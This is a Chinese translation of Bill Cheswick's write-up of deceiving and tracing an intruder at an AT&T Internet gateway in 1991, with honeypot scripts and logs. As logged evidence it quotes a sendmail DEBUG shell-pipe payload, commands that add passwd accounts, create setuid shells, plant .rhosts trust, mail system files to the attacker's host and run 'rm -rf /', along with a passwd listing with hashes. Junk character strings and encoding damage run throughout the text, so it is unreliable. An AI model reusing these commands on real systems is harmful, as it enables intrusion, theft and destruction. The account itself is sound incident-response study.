引誘、欺騙并研究一個(gè)黑客——陪伴berferd的一個(gè)夜晚

在1991年1月7號，一個(gè)黑客，他確信自己發(fā)現(xiàn)了我們的Internet網(wǎng)關(guān)計(jì)算機(jī)的sendmail的一個(gè)DUBUG漏洞的黑客，試圖獲得我們的password文件，我“送”給他了一份。
+ Q% ]% e, M7 d+ N- S3 H4 q在幾個(gè)月中，我們引誘這名黑客作各種快樂的嘗試，以便于我們發(fā)現(xiàn)他的位置和使用的破解技術(shù)。這篇文章是對該黑客的“成功”和失敗，我們使用的誘餌和陷阱的詳細(xì)記錄
' {; ?( w' l; m$ z4 F9 C  N我們的結(jié)論是我們所遇到的這個(gè)黑客擁有大量的時(shí)間，固執(zhí)異常，并持有一份優(yōu)秀的系統(tǒng)漏洞列表。一旦他獲得了系統(tǒng)的一個(gè)正式注冊身份，使用那些漏洞他可以輕易的攻破uucp和bin帳號，然后是root。我們的黑客對軍事目標(biāo)和可以幫助他中轉(zhuǎn)其連接的新機(jī)器很感興趣。
( Y/ c' f" A* v2 j4 [: P' X5 \簡介
4 G7 A1 l# m9 {$ R$ X, R' w我們的安全I(xiàn)nternet網(wǎng)關(guān)是1990年1月開始使用的。對于這個(gè)整個(gè)城堡的大門，我想知道它所可能遭到的攻擊會(huì)有多么頻繁。我明白Internet上有一些喜歡使用“暴力”的人，那么他們是誰？他們會(huì)攻擊什么地方？會(huì)多么頻繁？他們經(jīng)常嘗試系統(tǒng)的那些漏洞？
事實(shí)上，他們沒有對AT&T作出破壞，甚至很少光顧我們的這扇大門，那么，最終的樂趣只有如此，引誘一個(gè)黑客到一個(gè)我們設(shè)計(jì)好的環(huán)境中，記錄下來他的所有動(dòng)作，研究其行為，并提醒他的下一個(gè)目標(biāo)作出防范。
大多數(shù)Internet上的工作站很少提供工具來作這些事情，商業(yè)系統(tǒng)檢測并報(bào)告一些問題，但是它們忽略了很多我們想要的東西。我們的網(wǎng)關(guān)每天產(chǎn)生10兆的日志文件。但人們對于日志記錄以外的服務(wù)的攻擊呢？
+ \, W' z1 Z: D4 {5 m5 P: L我們添加了一些虛假的服務(wù)在系統(tǒng)上，同時(shí)我編寫了一個(gè)script文件用來檢索每天的日志。我們檢查以下幾點(diǎn)：
FTP ：檢索的工具會(huì)報(bào)告每天所有注冊和試圖注冊的用戶名。它還會(huì)報(bào)告用戶對tilde的使用（這是個(gè)老版本的ftp的漏洞）、所有對ftp目錄的/etc/passwd和/etc/group的存取以及對pub目錄下完整文件列表的獲取。獲取passwd的人通常用它來獲得系統(tǒng)的正式用戶的注冊名稱，然后攻擊、破解其密碼。有時(shí)有些系統(tǒng)的管理員會(huì)將系統(tǒng)的真實(shí)passwd文件放在ftp的/etc目錄下，我們偽造了一個(gè)passwd文件，它的密碼被破解后是“why are you wasting your time.”
/ o9 H0 f1 ]& eTelnet / login ：所有試圖login的動(dòng)作都被記錄了下來。這很容易就可以看出有些人在嘗試很多帳號，或強(qiáng)力攻擊某一個(gè)帳號。因?yàn)槲覀冞@個(gè)Internet的大門除了“警衛(wèi)”外沒有什么別的用戶，很容易就可以找到問題所在。
  s' a; |% t" v: O4 Z: ~3 lGuest / visitor 帳號：黑客們第一個(gè)尋找的就是公用帳號。這些帳號提供了友好的，最輕易的獲取幾乎系統(tǒng)的所有文件的機(jī)會(huì)，包括passwd文件。黑客也可以通過獲取/etc/hosts.equiv文件或每個(gè)用戶的.rhosts文件來獲得機(jī)器的信任主機(jī)列表。我們對于這些帳號的login script文件是這樣編寫的：
exec 2>/dev/null # ensure that stderr doesn't appear
: \/ S4 V: S: Y, u- ~trap "" 1
/bin/echo
( /bin/echo "Attempt to login to inet with $LOGNAME from $CALLER" |
upasname=adm /bin/mail ches dangelo &
5 v: J5 V2 i: P  n# (notify calling machine's administrator for some machines...)
# (finger the calling machine...)
) 2>&1 | mail ches dangelo
/bin/echo "/tmp full"
sleep 5 # I love to make them wait....
9 c3 X& u- W% @; m( u7 v/bin/echo "/tmp full"
+ i! ~7 _0 T' }9 i- t. ^+ O4 t# k% @( {/bin/echo "/tmp full"
, a/ ~* N! X" }7 j/bin/echo
sleep 60 # ... and simulating a busy machine is useful
我們必須小心以便不讓調(diào)用者看到系統(tǒng)的標(biāo)志出錯(cuò)信息（如果一旦我們編寫的script有誤）。注意$CALLER是在另一端的主機(jī)或IP地址。通過修改telnetd或login，它將可以通過環(huán)境變量來獲取。
1 r7 E3 D1 d3 n, X2 YSMTP DEBUG : 這個(gè)命令提供了兩個(gè)守候sendmail的漏洞的陷阱。雖然幾乎所有的產(chǎn)品出售商都清除了這個(gè)漏洞，但偶爾仍有黑客嘗試它。這個(gè)漏洞允許外部的使用者使用一段以root權(quán)限執(zhí)行的script。當(dāng)有些人嘗試這個(gè)漏洞時(shí)，我就獲得了他嘗試的script代碼。
' t6 C! C1 n. mFinger ：Finger提供了大量有用的信息給黑客：帳號名，該帳號的最后一次使用時(shí)間，以及一些可以用來猜測密碼的信息。由于我們的組織不允許提供這些信息給別人，我們置入了一個(gè)程序，在finger了fingerd的調(diào)用者后拒絕figner請求。（當(dāng)然我們會(huì)避免對來自自己的finger信息的死循環(huán)）。報(bào)告表明每天有數(shù)以十計(jì)的finger請求，其中大部分是合法的。
3 \/ N( @: F8 nRlogin / rsh ：這些命令都是基于一些無條件信任的系統(tǒng)，我們的機(jī)器并不支持。但我們會(huì)finger使用這些命令的用戶，并將他的嘗試和用戶信息等生成報(bào)告。
9 f/ H3 @4 A6 x! @" U上述很多探測器都使用figner命令來查明調(diào)用的機(jī)器和使用者。
& z5 O; }0 {# G! r/ Z! W當(dāng)一個(gè)嘗試顯示為有不合法企圖時(shí)，我就發(fā)出這樣一條消息：
3 n1 L4 ^9 T9 u, V- E3 ^% d4 ^/ finetfans postmaster@sdsu.edu
* O" j+ d$ x7 |9 z) E* tYesterday someone from math.sdsu.edu fetched the /etc/passwd file
9 s# M2 V! J! \2 X1 E2 e2 d3 B4 O  E  _* ^from our FTP directory. The file is not important, but these probes
are sometimes performed from stolen accounts.
Just thought you'd like to know.
. s* O9 z$ a8 oBill Cheswick
這是一個(gè)典型的信件，它被發(fā)往“inetfans”，這些人屬于計(jì)算機(jī)緊急響應(yīng)小組(Computer Emergency Response Team , CERT)、某些興趣小組或?qū)δ承┱军c(diǎn)感興趣的人。
- m' j5 A& |# A& _5 d' F( y很多系統(tǒng)管理員很重視這些報(bào)告，尤其是軍事站點(diǎn)。通常，系統(tǒng)管理員在解決這些問題上都非常合作。對這些信件的反應(yīng)包括道歉，拒絕信件，關(guān)閉帳號以及沉默等等。當(dāng)一個(gè)站點(diǎn)開來愿意支持黑客們的活動(dòng)時(shí)，我們會(huì)考慮拒收來自該站的所有信息包。
不友好的行動(dòng)
我們從1990年1月設(shè)置好這些探測器。統(tǒng)計(jì)表明被攻擊率在每年學(xué)校的假期期間會(huì)上升。我們的被攻擊率可能比其他站點(diǎn)高，因?yàn)槲覀兪菑V為人知的，并被認(rèn)為是“電話公司”。
當(dāng)一個(gè)遠(yuǎn)程使用者取走passwd文件時(shí)，并不是所有的人都出于惡意的目的。有時(shí)他們只是想看看是否傳輸能正常工作。
19:43:10 smtpd[27466]: <--- 220 inet.att.com SMTP
19:43:14 smtpd[27466]: -------> debug
19:43:14 smtpd[27466]: DEBUG attempt
19:43:14 smtpd[27466]: <--- 200 OK
9 T! ]! i( Y8 v* Y2 B5 M19:43:25 smtpd[27466]: -------> mail from:
19:43:25 smtpd[27466]: <--- 503 Expecting HELO
: z/ R! f5 n8 I- s' J19:43:34 smtpd[27466]: -------> helo
6 U) \! t& t8 W8 U  }19:43:34 smtpd[27466]: HELO from
0 D% l2 |3 y4 J8 _19:43:34 smtpd[27466]: <--- 250 inet.att.com
19:43:42 smtpd[27466]: -------> mail from:
" ^6 }! X: F: ~; C19:43:42 smtpd[27466]: <--- 250 OK
& M& @( k; P( N19:43:59 smtpd[27466]: -------> rcpt to: 19:43:59 smtpd[27466]: <--- 501 Syntax error in recipient name
; {& n+ S8 t+ N6 A) k- r% u19:44:44 smtpd[27466]: -------> rcpt to:<|sed -e '1,/?$/'d | /bin/sh ; exit 0">
: S5 Z; }& G3 l& _' q/ t: o19:44:44 smtpd[27466]: shell characters: |sed -e '1,/?$/'d | /bin/sh ; exit 0"
7 i% z9 Q4 x2 k19:44:45 smtpd[27466]: <--- 250 OK
19:44:48 smtpd[27466]: -------> data
+ i* B. B1 I1 P+ T3 |19:44:48 smtpd[27466]: <--- 354 Start mail input; end with .
! _6 j& T  A6 Z/ i6 P. }5 p19:45:04 smtpd[27466]: <--- 250 OK
! W) ^! K$ x+ b( Y" ~' s, B( e! `19:45:04 smtpd[27466]: /dev/null sent 48 bytes to upas.security
19:45:08 smtpd[27466]: -------> quit
19:45:08 smtpd[27466]: <--- 221 inet.att.com Terminating
19:45:08 smtpd[27466]: finished.
這是我們對SMTP過程的日志。這些看來很神秘的日志通常是有兩個(gè)郵件發(fā)送器來相互對話的。在這個(gè)例子中，另一端是由人來鍵入命令。他嘗試的第一個(gè)命令是DEBUG。當(dāng)他接收的“250 OK”的回應(yīng)時(shí)一定很驚奇。關(guān)鍵的行是“rcpt to :”。在尖括號括起的部分通常是一個(gè)郵件接收器的地址。這里它包含了一個(gè)命令行。Sendmail在DEBUG模式下用它來以ROOT身份執(zhí)行一段命令。即：
3 a9 l( H0 A2 O/ A% ssed -e '1,/?$/'d | /bin/sh ; exit 0"
" Y7 L* S/ E. _7 U它剝?nèi)チ肃]件頭，并使用ROOT身份執(zhí)行了消息體。這段消息郵寄給了我，這是我記錄下來的，包含時(shí)間戳：
( m* |1 ^3 d9 _' }  r$ [/ Y/ \' B19:45 mail adrian@embezzle.stanford.edu 19:51 mail adrian@embezzle.stanford.edu 他希望我們郵寄給他一份我們的passwd文件。大概用來運(yùn)行一些passwd破解程序。所有這些探測結(jié)果都來自EMBEZZLE.STANFORD.EDU的一個(gè)adrian用戶。他在美國空襲伊拉克半個(gè)小時(shí)后公然作出敵意反應(yīng)。我懷疑是薩達(dá)姆雇傭了一兩個(gè)黑客。我恰巧在ftp的目錄下有一個(gè)假的passwd文件，就用root身份給Stanford發(fā)了過去。
第二個(gè)早晨，我聽到了來自Stanford的消息：他們知道了這件事，并正在發(fā)現(xiàn)問題所在。他們說adrian這個(gè)帳號被盜用了。
1 T+ c. \( q0 ~( g# |接著的一個(gè)星期天我接到了從法國發(fā)來的一封信：
To: root@research.att.com
Subject: intruder
Date: Sun, 20 Jan 91 15:02:53 +0100
- s3 `) e( \6 I0 {# q) l& eI have just closed an account on my machine
which has been broken by an intruder coming from embezzle.stanford.edu. He
% {( d; j9 f. S4 A# x(she) has left a file called passwd. The contents are:
$ u" ~: U  s$ r( `% J7 e' Z2 l1 B% m------------>
0 P: P4 I) `; r, X& ?- i- JFrom root@research.att.com Tue Jan 15 18:49:13 1991
" m& Y: A5 d5 V% d: CReceived: from research.att.com by embezzle.Stanford.EDU (5.61/4.7);
Tue, 15 Jan 91 18:49:12 -0800
9 L& h) C! A* c; f8 l4 XMessage-Id: <9101160249.AA26092@embezzle.Stanford.EDU>
) K8 v7 n4 N# Y' X% l, u/ OFrom: root@research.att.com
Date: Tue, 15 Jan 91 21:48 EST
7 R- M4 O! w. R0 o5 XTo: adrian@embezzle.stanford.edu
! ^( ?3 p! H4 u) pRoot: mgajqD9nOAVDw:0:2:0000-Admin(0000):/:
. z9 c$ m; L/ m  X8 I4 HDaemon: *:1:1:0000-Admin(0000):/:
% B+ h" W* a( B/ vBin: *:2:2:0000-Admin(0000):/bin:
: h2 o' Q& f3 h) xSys: *:3:3:0000-Admin(0000):/usr/v9/src:
Adm: *:4:4:0000-Admin(0000):/usr/adm:
Uucp: *:5:5:0000-uucp(0000):/usr/lib/uucp:
( e7 w& g" j( X: J! @% {8 |# bNuucp: *:10:10:0000-uucp(0000):/usr/spool/uucppublic:/usr/lib/uucp/uucico
# e: ?$ d' C8 TFtp: anonymous:71:14:file transfer:/:no soap
Ches: j2PPWsiVal..Q:200:1:me:/u/ches:/bin/sh
Dmr: a98tVGlT7GiaM:202:1:Dennis:/u/dmr:/bin/sh
Rtm: 5bHD/k5k2mTTs:203:1:Rob:/u/rtm:/bin/sh
& r, n& h. t. U) Z7 L$ P5 KBerferd: deJCw4bQcNT3Y:204:1:Fred:/u/berferd:/bin/sh
! ^! f6 x! b( r& KTd: PXJ.d9CgZ9DmA:206:1:Tom:/u/td:/bin/sh
. @6 V: E( J5 O5 W4 QStatus: R
. {5 _$ }" Z9 \. g7 t# }------------Please let me know if you heard of him.
8 J6 b; G  z6 H- \" f+ B, J陪伴Berferd的一個(gè)夜晚
1月20號，星期天晚上，我的終端報(bào)告有安全敏感事件。
* G. p8 N2 O+ u; h( }5 Y22:33 finger attempt on berferd
幾分鐘后，有人試圖使用DEBUG來用ROOT身份執(zhí)行命令，他試圖修改我們的passwd文件！
22:36 echo "beferdd::300:1:maybe Beferd:/:/bin/sh" >>/etc/passwd
cp /bin/sh /tmp/shell
chmod 4755 /tmp/shell
連接同樣來自EMBEZZLE.STANFORD.EDU。
我該怎么作呢？我不希望他真的能獲得一個(gè)網(wǎng)關(guān)的帳號，為什么引狼入室呢？那樣我將得不到他的鍵盤活動(dòng)。
我應(yīng)該繼續(xù)看看他關(guān)注的其他事情，或許我可以手工模擬一下操作系統(tǒng)，這意味著我必須讓他以為機(jī)器速度很慢，因?yàn)槲覠o法和MIPS M/120相比。同時(shí)意味著我必須模擬一個(gè)一致的操作系統(tǒng)。
: N& u4 L+ `$ M我已經(jīng)有一個(gè)要求了，因?yàn)樗呀?jīng)持有了一份passwd。
決定一：ftp的passwd是一個(gè)真實(shí)的passwd。
還有另外的兩個(gè)：
: w! @8 @  m$ m  K4 m4 s# ~決定二：網(wǎng)關(guān)機(jī)器管理極差。（有DEBUG漏洞，ftp目錄里有passwd）。
決定三：網(wǎng)關(guān)機(jī)器極慢。
$ T9 U, {! |$ E8 z8 I( w' ?因此我決定讓他以為他已經(jīng)改變了passwd文件，但卻不急于讓他進(jìn)來。我必須生成一個(gè)帳號，但卻使它不可操作。我應(yīng)該怎么辦？
決定四：我的shell并沒有放在/bin下，它放在其他地方。這樣，他進(jìn)來后（讓他認(rèn)為passwd已經(jīng)改動(dòng)了），沒有可運(yùn)行的shell。
這個(gè)決定很愚蠢，但我不會(huì)因此損失任何東西。我寫了一個(gè)script，生成了一個(gè)臨時(shí)帳號b，當(dāng)它被調(diào)用時(shí)它會(huì)給我發(fā)信，調(diào)用者將看到如下信息：
RISC/os (inet)
4 n" r; D' E6 Z( z9 Z  T& [9 plogin: b
5 p( i  R& q  F. [+ i" ZRISC/os (UMIPS) 4.0 inet
Copyright 1986, MIPS Computer Systems
All Rights Reserved
+ b* [9 z9 C0 z  U0 RShell not found
! a9 `6 c! l" R1 i4 B" T! i我把b帳號在實(shí)際passwd文件中改成了beferd，當(dāng)我作完后，他在此嘗試：
22:41 echo "bferd ::301:1::/:/bin/sh" >> /etc/passwd
" a, E- Y% X+ z4 @% G6 c他的另一個(gè)試圖添加到passwd文件的嘗試。事實(shí)上，在我為bferd完成新的配置之前他開始急躁了：
+ i4 s% a) t9 ^3 ~22:45 talk adrian@embezzle.stand?Hford.edu
% T( E+ {& A# U7 ctalk adrian@embezzle.stanford.edu
/ X" e$ `2 t4 i& [7 P決定五：我們沒有talk這個(gè)命令。
) N% h$ y, |8 b+ \+ K0 W4 W/ V他選擇了berferd這個(gè)帳號：
22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU
" y  i& [( d: r% x* _. A& P22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU
22:49 Attempt to login to inet with bferd from embezzle.Stanford.EDU
22:51 (Notified Stanford of the use of Tip-QuadA.Stanford.EDU)
" x' S5 k- P5 W5 W: D2 ~6 D22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU
22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU
( R6 e0 d0 c! E22:55 echo "bfrd ::303:1::/tmp:/bin/sh" >> /etc/passwd
4 x5 E, B) c2 i  d2 O8 t22:57 (Added bfrd to the real password file.)
2 X1 P( q* \) A" i22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
( s$ L( ?0 [& \+ k$ d5 P# r23:05 echo "36.92.0.205" >/dev/null
" O" L  D$ n1 ?, gecho "36.92.0.205 embezzle.stanford.edu">>/etc./?H?H?H
/ S! d- B2 U& P23:06 Attempt to login to inet with guest from rice-chex.ai.mit.edu
) K% l6 J' h! P# k  C7 M1 \23:06 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts
23:08 echo "embezzle.stanford.edu adrian">>/tmp/.rhosts
, Y' E2 S. U9 O& J  g" j( q# p* M很顯然他希望能夠rlogin到我們的網(wǎng)關(guān)，這需要一些本地文件的特定設(shè)置。我們并沒有作rlogin的檢測。
4 C( h0 R: g" q4 U! o1 r6 s這時(shí)他又有新的動(dòng)作：
23:09 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
23:10 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
, m- z* z: ^1 _+ S* g23:14 mail adrian@embezzle.stanford.edu < /etc/inetd.conf
6 t* O* h1 o; e$ V8 Ops -aux|mail adrian@embezzle.stanford.edu
在rlogin失敗后，他希望能得到我們的inetd.conf文件來查看我們究竟啟動(dòng)了什么服務(wù)。我不想讓他看到真正的inetd.conf，但偽造一個(gè)又非常困難。
$ F  _3 K$ y: z決定七：網(wǎng)關(guān)機(jī)器運(yùn)行不穩(wěn)定，時(shí)有不確定事件。
0 p, F0 Q* w  q23:28 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts
0 P' [2 Y! y$ N* y* Y  y& z/ \echo "embezzle.stanford.edu adrian" >> /tmp/.rhosts
& i& U! h; O. \- \1 L0 a4 qps -aux|mail adrian@embezzle.stanford.edu
. \. h7 c2 p& Z5 e+ w( P: t/ @mail adrian@embezzle.stanford.edu < /etc/inetd.conf
我不希望他看到ps的結(jié)果，幸運(yùn)的是，他的Berkeley系統(tǒng)的ps命令在我的System V機(jī)器上是無效的。
/ O% [: ^" u$ i; B  N( U這時(shí)我通知了CERT，這時(shí)一起嚴(yán)重的攻擊事件，在Stanford也應(yīng)該有追蹤這些請求的人。這時(shí)，活動(dòng)又轉(zhuǎn)到ftp上來：
Jan 20 23:36:48 inet ftpd[14437]: <--- 220 inet FTP server
(Version 4.265 Fri Feb 2 13:39:38 EST 1990) ready.
Jan 20 23:36:55 inet ftpd[14437]: -------> user bfrd?M
. F7 F5 f; ]; Y5 DJan 20 23:36:55 inet ftpd[14437]: <--- 331 Password required for bfrd.
% L& R) d% c3 H, B; V& `1 }1 iJan 20 23:37:06 inet ftpd[14437]: -------> pass?M
2 p6 |" k: q, J, A9 K6 ]3 `/ a  \4 BJan 20 23:37:06 inet ftpd[14437]: <--- 500 'PASS': command not understood.
Jan 20 23:37:13 inet ftpd[14437]: -------> pass?M
! P. _( W5 B: Z$ d2 R9 NJan 20 23:37:13 inet ftpd[14437]: <--- 500 'PASS': command not understood.
% O5 w, e" H; t% sJan 20 23:37:24 inet ftpd[14437]: -------> HELP?M
Jan 20 23:37:24 inet ftpd[14437]: <--- 214- The following commands are
recognized (* =>'s unimplemented).
Jan 20 23:37:24 inet ftpd[14437]: <--- 214 Direct comments to ftp-bugs@inet.
+ f0 m' V' ?& Q) X3 f: ~# {& q: |+ JJan 20 23:37:31 inet ftpd[14437]: -------> QUIT?M
Jan 20 23:37:31 inet ftpd[14437]: <--- 221 Goodbye.
( D" @7 B6 X  P( @: hJan 20 23:37:31 inet ftpd[14437]: Logout, status 0
Jan 20 23:37:31 inet inetd[116]: exit 14437
2 r( t6 N) q/ E3 hJan 20 23:37:41 inet inetd[116]: finger request from 36.92.0.205 pid 14454
2 }' X7 _* |7 P7 C7 A: GJan 20 23:37:41 inet inetd[116]: exit 14454
& x# `7 I7 W# E& t# q4 Y& ]23:38 finger attempt on berferd
2 Z# ]  e7 u' x  }23:48 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts.equiv
0 k: ^- M3 j/ H! F# ^5 N* N0 a23:53 mv /usr/etc/fingerd /usr/etc/fingerd.b
5 i6 B/ h: G0 ~( H8 }2 i3 A. Ecp /bin/sh /usr/etc/fingerd
3 M0 [1 f+ u& K決定四已經(jīng)決定了最后一行的嘗試必然失敗。因此，他只是破壞了我們模擬的機(jī)器上的finger而已，并沒有將之替換成一個(gè)shell程序。我關(guān)閉了實(shí)際的fingerd程序。
23:57 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
0 B% `8 W  ]8 M. |" O; f+ |23:58 cp /bin/csh /usr/etc/fingerd
' l& E  ?! [) o) T5 V% t我們模擬的機(jī)器上csh并不在/bin下，因此這個(gè)命令無效。
5 X( T2 R! L8 |1 D  B% }00:07 cp /usr/etc/fingerd.b /usr/etc/fingerd
好吧，fingerd現(xiàn)在重新開始工作。Berferd的恢復(fù)工作干的不錯(cuò)。
2 [  [  t( c# @0 X; }; @00:14 passwd bfrt
  @0 K- U6 \; _/ @7 A: [) w4 Pbfrt
bfrt
3 p5 a, x( z% ~+ N0 {  l$ p現(xiàn)在他試圖修改password，這永遠(yuǎn)不會(huì)成功，因?yàn)閜asswd的輸入是/dev/tty，不是sendmail所執(zhí)行的shell script。
% q4 T+ ?2 E) U2 L2 w00:16 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
, I  e0 m6 o8 \+ w" B00:17 echo "/bin/sh" > /tmp/Shell
chmod 755 /tmp/shell
  X9 \7 g2 c( [+ W/ Xchmod 755 /tmp/Shell
1 N3 z( W- h; i2 T7 [00:19 chmod 4755 /tmp/shell
; B4 s( a2 s- \% L00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
3 S0 N. b" a6 Q" {, _) |00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
/ V& n& Q$ l# u+ q% j00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
" b! Q  x, Z+ @7 P, i7 y" o. u$ w00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
0 Z& B# R6 ^; ]; W! c這時(shí)我已經(jīng)很累了。
& t: V, y3 C. Y1 @% X01:55 rm -rf /&
; ]) }7 d0 U$ o# C$ D: n6 c* b喔?。√萘?！顯然機(jī)器的狀態(tài)讓他迷惑，他希望能清除所有的痕跡。有些黑客會(huì)保護(hù)自己所作的工作，聲明自己不作任何破壞。我們的黑客對我們感到疲勞了，因此以此結(jié)束。
8 b" @8 F$ z3 C' ?- g他繼續(xù)工作了幾分鐘，后來放棄：
07:12 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
- q& Y! I: D$ h$ W0 S$ L; x' g07:14 rm -rf /&
4 @. ~6 e5 I1 \- J# _! V( T07:17 finger attempt on berferd
07:19 /bin/rm -rf /&
) _. x* D/ y. B3 {/bin/rm -rf /&
07:23 /bin/rm -rf /&
07:25 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
09:41 Attempt to login to inet with bfrd from embezzle.Stanford.EDU